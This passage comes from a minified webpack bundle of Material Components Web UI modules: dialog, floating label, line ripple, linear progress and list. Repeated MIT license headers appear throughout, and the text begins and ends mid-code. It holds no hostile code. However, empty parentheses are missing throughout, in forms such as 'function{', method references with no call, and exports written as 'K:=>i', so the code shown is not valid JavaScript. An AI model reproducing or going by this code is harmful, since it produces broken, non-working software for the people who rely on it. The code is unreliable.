e=this.adapter.areButtonsStacked;e&&this.adapter.addClass(A.STACKED),e!==this.areButtonsStacked&&(this.adapter.reverseButtons,this.areButtonsStacked=e)},t.prototype.toggleScrollableClasses=function{this.adapter.removeClass(A.SCROLLABLE),this.adapter.isContentScrollable&&(this.adapter.addClass(A.SCROLLABLE),this.isFullscreen&&(this.toggleScrollDividerHeader,this.toggleScrollDividerFooter))},t.prototype.toggleScrollDividerHeader=function{this.adapter.isScrollableContentAtTop?this.adapter.hasClass(A.SCROLL_DIVIDER_HEADER)&&this.adapter.removeClass(A.SCROLL_DIVIDER_HEADER):this.adapter.addClass(A.SCROLL_DIVIDER_HEADER)},t.prototype.toggleScrollDividerFooter=function{this.adapter.isScrollableContentAtBottom?this.adapter.hasClass(A.SCROLL_DIVIDER_FOOTER)&&this.adapter.removeClass(A.SCROLL_DIVIDER_FOOTER):this.adapter.addClass(A.SCROLL_DIVIDER_FOOTER)},t}(v.K); /** * @license * Copyright 2017 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var I=b.strings,C=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,d.__extends)(t,e),Object.defineProperty(t.prototype,"isOpen",{get:function{return this.foundation.isOpen},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"escapeKeyAction",{get:function{return this.foundation.getEscapeKeyAction},set:function(e){this.foundation.setEscapeKeyAction(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"scrimClickAction",{get:function{return this.foundation.getScrimClickAction},set:function(e){this.foundation.setScrimClickAction(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"autoStackButtons",{get:function{return this.foundation.getAutoStackButtons},set:function(e){this.foundation.setAutoStackButtons(e)},enumerable:!1,configurable:!0}),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function(e){var t,n;void 0===e&&(e=function(e,t){return new h(e,t)});var i=this.root.querySelector(I.CONTAINER_SELECTOR);if(!i)throw new Error("Dialog component requires a "+I.CONTAINER_SELECTOR+" container element");this.container=i,this.content=this.root.querySelector(I.CONTENT_SELECTOR),this.buttons=[].slice.call(this.root.querySelectorAll(I.BUTTON_SELECTOR)),this.defaultButton=this.root.querySelector("["+I.BUTTON_DEFAULT_ATTRIBUTE+"]"),this.focusTrapFactory=e,this.buttonRipples=[];try{for(var r=(0,d.__values)(this.buttons),o=r.next;!o.done;o=r.next){var a=o.value;this.buttonRipples.push(new g.F(a))}}catch(e){t={error:e}}finally{try{o&&!o.done&&(n=r.return)&&n.call(r)}finally{if(t)throw t.error}}},t.prototype.initialSyncWithDOM=function{var e=this;this.focusTrap=r(this.container,this.focusTrapFactory,this.getInitialFocusEl||void 0),this.handleClick=this.foundation.handleClick.bind(this.foundation),this.handleKeydown=this.foundation.handleKeydown.bind(this.foundation),this.handleDocumentKeydown=this.foundation.handleDocumentKeydown.bind(this.foundation),this.handleOpening=function{document.addEventListener("keydown",e.handleDocumentKeydown)},this.handleClosing=function{document.removeEventListener("keydown",e.handleDocumentKeydown)},this.listen("click",this.handleClick),this.listen("keydown",this.handleKeydown),this.listen(I.OPENING_EVENT,this.handleOpening),this.listen(I.CLOSING_EVENT,this.handleClosing)},t.prototype.destroy=function{this.unlisten("click",this.handleClick),this.unlisten("keydown",this.handleKeydown),this.unlisten(I.OPENING_EVENT,this.handleOpening),this.unlisten(I.CLOSING_EVENT,this.handleClosing),this.handleClosing,this.buttonRipples.forEach((function(e){e.destroy})),e.prototype.destroy.call(this)},t.prototype.layout=function{this.foundation.layout},t.prototype.open=function{this.foundation.open},t.prototype.close=function(e){void 0===e&&(e=""),this.foundation.close(e)},t.prototype.getDefaultFoundation=function{var e=this;return new b({addBodyClass:function(e){return document.body.classList.add(e)},addClass:function(t){return e.root.classList.add(t)},areButtonsStacked:function{return l(e.buttons)},clickDefaultButton:function{e.defaultButton&&!e.defaultButton.disabled&&e.defaultButton.click},eventTargetMatches:function(e,t){return!!e&&(0,f.wB)(e,t)},getActionFromEvent:function(e){if(!e.target)return"";var t=(0,f.oq)(e.target,"["+I.ACTION_ATTRIBUTE+"]");return t&&t.getAttribute(I.ACTION_ATTRIBUTE)},getInitialFocusEl:function{return e.getInitialFocusEl},hasClass:function(t){return e.root.classList.contains(t)},isContentScrollable:function{return o(e.content)},notifyClosed:function(t){return e.emit(I.CLOSED_EVENT,t?{action:t}:{})},notifyClosing:function(t){return e.emit(I.CLOSING_EVENT,t?{action:t}:{})},notifyOpened:function{return e.emit(I.OPENED_EVENT,{})},notifyOpening:function{return e.emit(I.OPENING_EVENT,{})},releaseFocus:function{e.focusTrap.releaseFocus},removeBodyClass:function(e){return document.body.classList.remove(e)},removeClass:function(t){return e.root.classList.remove(t)},reverseButtons:function{e.buttons.reverse,e.buttons.forEach((function(e){e.parentElement.appendChild(e)}))},trapFocus:function{e.focusTrap.trapFocus},registerContentEventHandler:function(t,n){e.content instanceof HTMLElement&&e.content.addEventListener(t,n)},deregisterContentEventHandler:function(t,n){e.content instanceof HTMLElement&&e.content.removeEventListener(t,n)},isScrollableContentAtTop:function{return a(e.content)},isScrollableContentAtBottom:function{return s(e.content)},registerWindowEventHandler:function(e,t){window.addEventListener(e,t)},deregisterWindowEventHandler:function(e,t){window.removeEventListener(e,t)}})},t.prototype.getInitialFocusEl=function{return this.root.querySelector("["+I.INITIAL_FOCUS_ATTRIBUTE+"]")},t}(u.B)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,9397:(e,t,n)=>{"use strict"; /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ function i(e){return void 0===e&&(e=window),!!function(e){void 0===e&&(e=window);var t=!1;try{var n={get passive{return t=!0,!1}},i=function{};e.document.addEventListener("test",i,n),e.document.removeEventListener("test",i,n)}catch(e){t=!1}return t}(e)&&{passive:!0}}n.d(t,{K:=>i})},9502:(e,t,n)=>{"use strict";n.d(t,{Fn:=>i,ku:=>b}); /** * @license * Copyright 2020 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i={UNKNOWN:"Unknown",BACKSPACE:"Backspace",ENTER:"Enter",SPACEBAR:"Spacebar",PAGE_UP:"PageUp",PAGE_DOWN:"PageDown",END:"End",HOME:"Home",ARROW_LEFT:"ArrowLeft",ARROW_UP:"ArrowUp",ARROW_RIGHT:"ArrowRight",ARROW_DOWN:"ArrowDown",DELETE:"Delete",ESCAPE:"Escape",TAB:"Tab"},r=new Set;r.add(i.BACKSPACE),r.add(i.ENTER),r.add(i.SPACEBAR),r.add(i.PAGE_UP),r.add(i.PAGE_DOWN),r.add(i.END),r.add(i.HOME),r.add(i.ARROW_LEFT),r.add(i.ARROW_UP),r.add(i.ARROW_RIGHT),r.add(i.ARROW_DOWN),r.add(i.DELETE),r.add(i.ESCAPE),r.add(i.TAB);var o=8,a=13,s=32,l=33,c=34,d=35,u=36,p=37,h=38,f=39,g=40,m=46,v=27,A=9,y=new Map;y.set(o,i.BACKSPACE),y.set(a,i.ENTER),y.set(s,i.SPACEBAR),y.set(l,i.PAGE_UP),y.set(c,i.PAGE_DOWN),y.set(d,i.END),y.set(u,i.HOME),y.set(p,i.ARROW_LEFT),y.set(h,i.ARROW_UP),y.set(f,i.ARROW_RIGHT),y.set(g,i.ARROW_DOWN),y.set(m,i.DELETE),y.set(v,i.ESCAPE),y.set(A,i.TAB);var _=new Set;function b(e){var t=e.key;if(r.has(t))return t;var n=y.get(e.keyCode);return n||i.UNKNOWN}_.add(i.PAGE_UP),_.add(i.PAGE_DOWN),_.add(i.END),_.add(i.HOME),_.add(i.ARROW_LEFT),_.add(i.ARROW_UP),_.add(i.ARROW_RIGHT),_.add(i.ARROW_DOWN)},2851:(e,t,n)=>{"use strict"; /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ function i(e,t){if(e.closest)return e.closest(t);for(var n=e;n;){if(r(n,t))return n;n=n.parentElement}return null}function r(e,t){return(e.matches||e.webkitMatchesSelector||e.msMatchesSelector).call(e,t)}function o(e){var t=e;if(null!==t.offsetParent)return t.scrollWidth;var n=t.cloneNode(!0);n.style.setProperty("position","absolute"),n.style.setProperty("transform","translate(-9999px, -9999px)"),document.documentElement.appendChild(n);var i=n.scrollWidth;return document.documentElement.removeChild(n),i}n.d(t,{oq:=>i,wB:=>r,FL:=>o})},7706:(e,t,n)=>{"use strict";n.d(t,{g:=>s});var i=n(655),r=n(5179),o=n(2851),a=n(8678),s=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.shake=function(e){this.foundation.shake(e)},t.prototype.float=function(e){this.foundation.float(e)},t.prototype.setRequired=function(e){this.foundation.setRequired(e)},t.prototype.getWidth=function{return this.foundation.getWidth},t.prototype.getDefaultFoundation=function{var e=this,t={addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},getWidth:function{return(0,o.FL)(e.root)},registerInteractionHandler:function(t,n){return e.listen(t,n)},deregisterInteractionHandler:function(t,n){return e.unlisten(t,n)}};return new a.T(t)},t}(r.B)},8678:(e,t,n)=>{"use strict";n.d(t,{T:=>a});var i=n(655),r=n(6308),o={LABEL_FLOAT_ABOVE:"mdc-floating-label--float-above",LABEL_REQUIRED:"mdc-floating-label--required",LABEL_SHAKE:"mdc-floating-label--shake",ROOT:"mdc-floating-label"},a=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.shakeAnimationEndHandler=function{r.handleShakeAnimationEnd},r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return o},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},getWidth:function{return 0},registerInteractionHandler:function{},deregisterInteractionHandler:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{this.adapter.registerInteractionHandler("animationend",this.shakeAnimationEndHandler)},t.prototype.destroy=function{this.adapter.deregisterInteractionHandler("animationend",this.shakeAnimationEndHandler)},t.prototype.getWidth=function{return this.adapter.getWidth},t.prototype.shake=function(e){var n=t.cssClasses.LABEL_SHAKE;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.float=function(e){var n=t.cssClasses,i=n.LABEL_FLOAT_ABOVE,r=n.LABEL_SHAKE;e?this.adapter.addClass(i):(this.adapter.removeClass(i),this.adapter.removeClass(r))},t.prototype.setRequired=function(e){var n=t.cssClasses.LABEL_REQUIRED;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.handleShakeAnimationEnd=function{var e=t.cssClasses.LABEL_SHAKE;this.adapter.removeClass(e)},t}(r.K)},8323:(e,t,n)=>{"use strict";n.d(t,{k:=>l});var i=n(655),r=n(5179),o=n(6308),a={LINE_RIPPLE_ACTIVE:"mdc-line-ripple--active",LINE_RIPPLE_DEACTIVATING:"mdc-line-ripple--deactivating"},s=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.transitionEndHandler=function(e){r.handleTransitionEnd(e)},r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return a},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},hasClass:function{return!1},setStyle:function{},registerEventHandler:function{},deregisterEventHandler:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{this.adapter.registerEventHandler("transitionend",this.transitionEndHandler)},t.prototype.destroy=function{this.adapter.deregisterEventHandler("transitionend",this.transitionEndHandler)},t.prototype.activate=function{this.adapter.removeClass(a.LINE_RIPPLE_DEACTIVATING),this.adapter.addClass(a.LINE_RIPPLE_ACTIVE)},t.prototype.setRippleCenter=function(e){this.adapter.setStyle("transform-origin",e+"px center")},t.prototype.deactivate=function{this.adapter.addClass(a.LINE_RIPPLE_DEACTIVATING)},t.prototype.handleTransitionEnd=function(e){var t=this.adapter.hasClass(a.LINE_RIPPLE_DEACTIVATING);"opacity"===e.propertyName&&t&&(this.adapter.removeClass(a.LINE_RIPPLE_ACTIVE),this.adapter.removeClass(a.LINE_RIPPLE_DEACTIVATING))},t}(o.K); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var l=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.activate=function{this.foundation.activate},t.prototype.deactivate=function{this.foundation.deactivate},t.prototype.setRippleCenter=function(e){this.foundation.setRippleCenter(e)},t.prototype.getDefaultFoundation=function{var e=this;return new s({addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},hasClass:function(t){return e.root.classList.contains(t)},setStyle:function(t,n){return e.root.style.setProperty(t,n)},registerEventHandler:function(t,n){return e.listen(t,n)},deregisterEventHandler:function(t,n){return e.unlisten(t,n)}})},t}(r.B)},6341:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCLinearProgress:=>g});var i=n(655),r=n(5179),o=n(5475),a=n(6308),s={CLOSED_CLASS:"mdc-linear-progress--closed",CLOSED_ANIMATION_OFF_CLASS:"mdc-linear-progress--closed-animation-off",INDETERMINATE_CLASS:"mdc-linear-progress--indeterminate",REVERSED_CLASS:"mdc-linear-progress--reversed",ANIMATION_READY_CLASS:"mdc-linear-progress--animation-ready"},l={ARIA_HIDDEN:"aria-hidden",ARIA_VALUEMAX:"aria-valuemax",ARIA_VALUEMIN:"aria-valuemin",ARIA_VALUENOW:"aria-valuenow",BUFFER_BAR_SELECTOR:".mdc-linear-progress__buffer-bar",FLEX_BASIS:"flex-basis",PRIMARY_BAR_SELECTOR:".mdc-linear-progress__primary-bar"},c=.8367142,d=2.00611057,u=.37651913,p=.84386165,h=1.60277782,f=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.observer=null,r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return s},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return l},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},attachResizeObserver:function{return null},forceLayout:function{},getWidth:function{return 0},hasClass:function{return!1},setBufferBarStyle:function{return null},setPrimaryBarStyle:function{return null},setStyle:function{},removeAttribute:function{},removeClass:function{},setAttribute:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{var e=this;this.determinate=!this.adapter.hasClass(s.INDETERMINATE_CLASS),this.adapter.addClass(s.ANIMATION_READY_CLASS),this.progress=0,this.buffer=1,this.observer=this.adapter.attachResizeObserver((function(t){var n,r;if(!e.determinate)try{for(var o=(0,i.__values)(t),a=o.next;!a.done;a=o.next){var s=a.value;s.contentRect&&e.calculateAndSetDimensions(s.contentRect.width)}}catch(e){n={error:e}}finally{try{a&&!a.done&&(r=o.return)&&r.call(o)}finally{if(n)throw n.error}}})),!this.determinate&&this.observer&&this.calculateAndSetDimensions(this.adapter.getWidth)},t.prototype.setDeterminate=function(e){if(this.determinate=e,this.determinate)return this.adapter.removeClass(s.INDETERMINATE_CLASS),this.adapter.setAttribute(l.ARIA_VALUENOW,this.progress.toString),this.adapter.setAttribute(l.ARIA_VALUEMAX,"1"),this.adapter.setAttribute(l.ARIA_VALUEMIN,"0"),this.setPrimaryBarProgress(this.progress),void this.setBufferBarProgress(this.buffer);this.observer&&this.calculateAndSetDimensions(this.adapter.getWidth),this.adapter.addClass(s.INDETERMINATE_CLASS),this.adapter.removeAttribute(l.ARIA_VALUENOW),this.adapter.removeAttribute(l.ARIA_VALUEMAX),this.adapter.removeAttribute(l.ARIA_VALUEMIN),this.setPrimaryBarProgress(1),this.setBufferBarProgress(1)},t.prototype.isDeterminate=function{return this.determinate},t.prototype.setProgress=function(e){this.progress=e,this.determinate&&(this.setPrimaryBarProgress(e),this.adapter.setAttribute(l.ARIA_VALUENOW,e.toString))},t.prototype.getProgress=function{return this.progress},t.prototype.setBuffer=function(e){this.buffer=e,this.determinate&&this.setBufferBarProgress(e)},t.prototype.getBuffer=function{return this.buffer},t.prototype.open=function{this.adapter.removeClass(s.CLOSED_CLASS),this.adapter.removeClass(s.CLOSED_ANIMATION_OFF_CLASS),this.adapter.removeAttribute(l.ARIA_HIDDEN)},t.prototype.close=function{this.adapter.addClass(s.CLOSED_CLASS),this.adapter.setAttribute(l.ARIA_HIDDEN,"true")},t.prototype.isClosed=function{return this.adapter.hasClass(s.CLOSED_CLASS)},t.prototype.handleTransitionEnd=function{this.adapter.hasClass(s.CLOSED_CLASS)&&this.adapter.addClass(s.CLOSED_ANIMATION_OFF_CLASS)},t.prototype.destroy=function{e.prototype.destroy.call(this),this.observer&&this.observer.disconnect},t.prototype.restartAnimation=function{this.adapter.removeClass(s.ANIMATION_READY_CLASS),this.adapter.forceLayout,this.adapter.addClass(s.ANIMATION_READY_CLASS)},t.prototype.setPrimaryBarProgress=function(e){var t="scaleX("+e+")",n="undefined"!=typeof window?(0,o.E)(window,"transform"):"transform";this.adapter.setPrimaryBarStyle(n,t)},t.prototype.setBufferBarProgress=function(e){var t=100*e+"%";this.adapter.setBufferBarStyle(l.FLEX_BASIS,t)},t.prototype.calculateAndSetDimensions=function(e){var t=e*c,n=e*d,i=e*u,r=e*p,o=e*h;this.adapter.setStyle("--mdc-linear-progress-primary-half",t+"px"),this.adapter.setStyle("--mdc-linear-progress-primary-half-neg",-t+"px"),this.adapter.setStyle("--mdc-linear-progress-primary-full",n+"px"),this.adapter.setStyle("--mdc-linear-progress-primary-full-neg",-n+"px"),this.adapter.setStyle("--mdc-linear-progress-secondary-quarter",i+"px"),this.adapter.setStyle("--mdc-linear-progress-secondary-quarter-neg",-i+"px"),this.adapter.setStyle("--mdc-linear-progress-secondary-half",r+"px"),this.adapter.setStyle("--mdc-linear-progress-secondary-half-neg",-r+"px"),this.adapter.setStyle("--mdc-linear-progress-secondary-full",o+"px"),this.adapter.setStyle("--mdc-linear-progress-secondary-full-neg",-o+"px"),this.restartAnimation},t}(a.K); /** * @license * Copyright 2017 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var g=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"determinate",{set:function(e){this.foundation.setDeterminate(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"progress",{set:function(e){this.foundation.setProgress(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"buffer",{set:function(e){this.foundation.setBuffer(e)},enumerable:!1,configurable:!0}),t.prototype.open=function{this.foundation.open},t.prototype.close=function{this.foundation.close},t.prototype.initialSyncWithDOM=function{var e=this;this.root.addEventListener("transitionend",(function{e.foundation.handleTransitionEnd}))},t.prototype.getDefaultFoundation=function{var e=this;return new f({addClass:function(t){e.root.classList.add(t)},forceLayout:function{e.root.getBoundingClientRect},setBufferBarStyle:function(t,n){var i=e.root.querySelector(f.strings.BUFFER_BAR_SELECTOR);i&&i.style.setProperty(t,n)},setPrimaryBarStyle:function(t,n){var i=e.root.querySelector(f.strings.PRIMARY_BAR_SELECTOR);i&&i.style.setProperty(t,n)},hasClass:function(t){return e.root.classList.contains(t)},removeAttribute:function(t){e.root.removeAttribute(t)},removeClass:function(t){e.root.classList.remove(t)},setAttribute:function(t,n){e.root.setAttribute(t,n)},setStyle:function(t,n){e.root.style.setProperty(t,n)},attachResizeObserver:function(t){var n=window.ResizeObserver;if(n){var i=new n(t);return i.observe(e.root),i}return null},getWidth:function{return e.root.offsetWidth}})},t}(r.B)},4072:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCList:=>l});var i=n(655),r=n(5179),o=n(2851),a=n(5794),s=n(9978),l=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),Object.defineProperty(t.prototype,"vertical",{set:function(e){this.foundation.setVerticalOrientation(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"listElements",{get:function{return Array.from(this.root.querySelectorAll("."+this.classNameMap[a.UX.LIST_ITEM_CLASS]))},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"wrapFocus",{set:function(e){this.foundation.setWrapFocus(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"typeaheadInProgress",{get:function{return this.foundation.isTypeaheadInProgress},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"hasTypeahead",{set:function(e){this.foundation.setHasTypeahead(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"singleSelection",{set:function(e){this.foundation.setSingleSelection(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"selectedIndex",{get:function{return this.foundation.getSelectedIndex},set:function(e){this.foundation.setSelectedIndex(e)},enumerable:!1,configurable:!0}),t.attachTo=function(e){return new t(e)},t.prototype.initialSyncWithDOM=function{this.isEvolutionEnabled=a._f in this.root.dataset,this.isEvolutionEnabled?this.classNameMap=a.Vg:(0,o.wB)(this.root,a.j2.DEPRECATED_SELECTOR)?this.classNameMap=a.rD:this.classNameMap=Object.values(a.UX).reduce((function(e,t){return e[t]=t,e}),{}),this.handleClick=this.handleClickEvent.bind(this),this.handleKeydown=this.handleKeydownEvent.bind(this),this.focusInEventListener=this.handleFocusInEvent.bind(this),this.focusOutEventListener=this.handleFocusOutEvent.bind(this),this.listen("keydown",this.handleKeydown),this.listen("click",this.handleClick),this.listen("focusin",this.focusInEventListener),this.listen("focusout",this.focusOutEventListener),this.layout,this.initializeListType,this.ensureFocusable},t.prototype.destroy=function{this.unlisten("keydown",this.handleKeydown),this.unlisten("click",this.handleClick),this.unlisten("focusin",this.focusInEventListener),this.unlisten("focusout",this.focusOutEventListener)},t.prototype.layout=function{var e=this.root.getAttribute(a.j2.ARIA_ORIENTATION);this.vertical=e!==a.j2.ARIA_ORIENTATION_HORIZONTAL;var t="."+this.classNameMap[a.UX.LIST_ITEM_CLASS]+":not([tabindex])",n=a.j2.FOCUSABLE_CHILD_ELEMENTS,i=this.root.querySelectorAll(t);i.length&&Array.prototype.forEach.call(i,(function(e){e.setAttribute("tabindex","-1")}));var r=this.root.querySelectorAll(n);r.length&&Array.prototype.forEach.call(r,(function(e){e.setAttribute("tabindex","-1")})),this.isEvolutionEnabled&&this.foundation.setUseSelectedAttribute(!0),this.foundation.layout},t.prototype.getPrimaryText=function(e){var t,n=e.querySelector("."+this.classNameMap[a.UX.LIST_ITEM_PRIMARY_TEXT_CLASS]);if(this.isEvolutionEnabled||n)return null!==(t=null==n?void 0:n.textContent)&&void 0!==t?t:"";var i=e.querySelector("."+this.classNameMap[a.UX.LIST_ITEM_TEXT_CLASS]);return i&&i.textContent||""},t.prototype.initializeListType=function{var e=this;if(this.isInteractive=(0,o.wB)(this.root,a.j2.ARIA_INTERACTIVE_ROLES_SELECTOR),this.isEvolutionEnabled&&this.isInteractive){var t=Array.from(this.root.querySelectorAll(a.j2.SELECTED_ITEM_SELECTOR),(function(t){return 